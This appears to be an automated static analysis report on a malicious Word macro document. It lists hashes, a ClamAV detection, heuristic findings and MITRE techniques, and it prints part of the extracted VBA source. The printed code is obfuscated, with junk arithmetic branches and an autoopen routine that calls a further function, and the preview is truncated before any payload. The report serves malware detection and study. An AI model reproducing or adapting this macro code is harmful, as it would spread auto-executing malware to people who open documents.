Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0ad46f34200d42b6…

MALICIOUS

Office (OLE)

153.5 KB Created: 2019-04-05 19:59:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 1b0fc32a59d39c3ea3b07e72da99ff79 SHA-1: 9601eff74b68cd6d6b82b1edc85a54dbc64821fa SHA-256: 0ad46f34200d42b625843e3e3f1b3e0d8547006862977766858d55fde59bb61f
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV and contains a critical heuristic indicating a VBA p-code auto-execution with execution tokens, specifically using GetObject in the autoopen macro. This suggests the VBA macro is designed to run malicious code upon opening the document, likely to download and execute a second-stage payload. The presence of legacy WordBasic auto-exec markers further supports this.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-6932497-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6932497-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 35843 bytes
SHA-256: 9aa40fa23e3a3d76edb032c93e4c2b25a6ce78d4683026f305d0e3df05d25944
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "FAABDADA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "hZUoXUcA"
Attribute VB_Base = "0{0044E13D-6B39-4E0E-8329-458B160CB026}{704E36E8-FD0D-413C-BF71-B2E93F29FB33}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "qZAQCAo"
Attribute VB_Base = "0{011C69D3-5269-45E0-B02C-1420E620B63B}{62E10972-9CE7-472C-9CD1-42AE75DFAC16}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "VcAwAXA"
Function HADBC_()
   If 442254873 = 499686504 Then
      b_C_cD = 557832723 + Hex(LA4ADQA) + 538712391 / NAcAcA * (QG1DwQAG * CSng(61118027 / CByte(pUAUwUQU)) - zo4AAAAQ - Sqr(QBXwA1BD / 73938180 + 144019114 + CDate(VABQAXQ4 - Sgn(201613861) + wAAUAAXU * 146645847))) + (891176315 + 61339754 + 484509555 * KoCBUA)
End If
   If 316993078 = 507198048 Then
      bBDDAA = 636959852 + Hex(FQABoQ) + 289853246 / GAcDUAGA * (MAQk_A * CSng(258629473 / CByte(VZAAXU)) - lDCBwQ4 - Sqr(QA_CGGAQ / 434076849 + 729545492 + CDate(uAAAwow - Sgn(97153239) + VAoCAQwx * 913110675))) + (167757396 + 748495757 + 640735135 * wAABoDQC)
End If
   If 851913475 = 903381327 Then
      qCQcCDD = 586780513 + Hex(CA4DAXA) + 117818655 / BUBcx4cX * (FBAoA4C * CSng(478473590 / CByte(p4QkAAA)) - GBAZQA - Sqr(oCADAA / 461366938 + 436412164 + CDate(mAXwBA - Sgn(45513629) + zAB1BDo * 209613792))) + (654083735 + 373494509 + 334400110 * L_AZAA)
End If
End Function
Sub autoopen()
tkAAB4D_
End Sub
Function Yo_QQA()
   If 274942884 = 17039148 Then
      dGA_AoX = 361563368 + Hex(ZABAG_Z) + 483864198 / KZwQBD * (zXDk1BDZ * CSng(197868115 / CByte(MACAU1)) - iUcCQAZA - Sqr(K4c_AAA / 273878866 + 374207182 + CDate(mA1cXk_A - Sgn(766582653) + n4ADcA * 587690647))) + (466297411 + 802991783 + 695342327 * zoAQXQ)
End If
   If 137002513 = 546200468 Then
      TGAZQQ = 529831822 + Hex(YABDAwQ) + 611028127 / PACBQAQB * (uBUAUk_ * CSng(204333742 / CByte(oUAXxo)) - CABA_B - Sqr(WADBxwDA / 654082578 + 906315897 + CDate(TAAABBA4 - Sgn(689515842) + jQAZAA_k * 563115738))) + (98684719 + 969116289 + 673525409 * uABDUQkB)
End If
   If 458352785 = 885888611 Then
      kQXUA_AA = 737674241 + Hex(W__CcA) + 68097222 / KcAQ4_ * (pwBUX4 * CSng(619921805 / CByte(GZcA1k)) - Q_AAkQU - Sqr(dUAAAUA / 40213486 + 520610438 + CDate(wwoBAA - Sgn(764491278) + HABxX1c * 232653729))) + (688426948 + 674333135 + 439441484 * kxAAAA)
End If
End Function

Attribute VB_Name = "FxBwUC4Q"
Function OAcBDAA_()
   If 988491044 = 553866613 Then
      c1cD1A = 127125920 + Hex(D_1AAA) + 213181095 / wAUQcXCD * (jBUAcxDD * CSng(574265294 / CByte(MAAA_QA)) - XCxD4X4Q - Sqr(HXAA_wDA / 315555780 + 138702418 + CDate(h1ZUQG_Q - Sgn(669613157) + dDAAABQU * 577118532))) + (74478579 + 801686305 + 896028479 * zBDDXCcU)
End If
   If 650451380 = 278278148 Then
      WBBkcA = 541609089 + Hex(wABAQAcQ) + 905932752 / LDQ_GAD * (fAAAxcA * CSng(580416402 / CByte(fAAAZAZD)) - joAAkAA - Sqr(WAA_QXA / 761349395 + 317246653 + CDate(pA1kAUQA - Sgn(285815372) + dB_AUA * 810258521))) + (120063079 + 226902755 + 652279142 * qAAAAB)
End If
   If 963336529 = 380138346 Then
      l1AAXkGA = 289588896 + Hex(fAxoAwQA) + 649286081 / TBX_woQ * (dAXUkB * CSng(847862891 / CByte(ZQAAZAo)) - z_XABB - Sqr(JUAAQxB1 / 145973512 + 846648216 + CDate(nBUQ_Ao - Sgn(870063914) + B41BAAB * 237451039))) + (178705871 + 636963956 + 162988368 * HwGUZAA)
End If
End Function
Function tkAAB4D_()
On Error Resume Next
   If 260739108 = 553494848 Then
      TA_kBU = 490469089 + Hex(BA1o_x1) + 555606718 / SkAADA * (AXDoCA * CSng(419488025 / CByte(JAw1xDBZ)) -
... (truncated)

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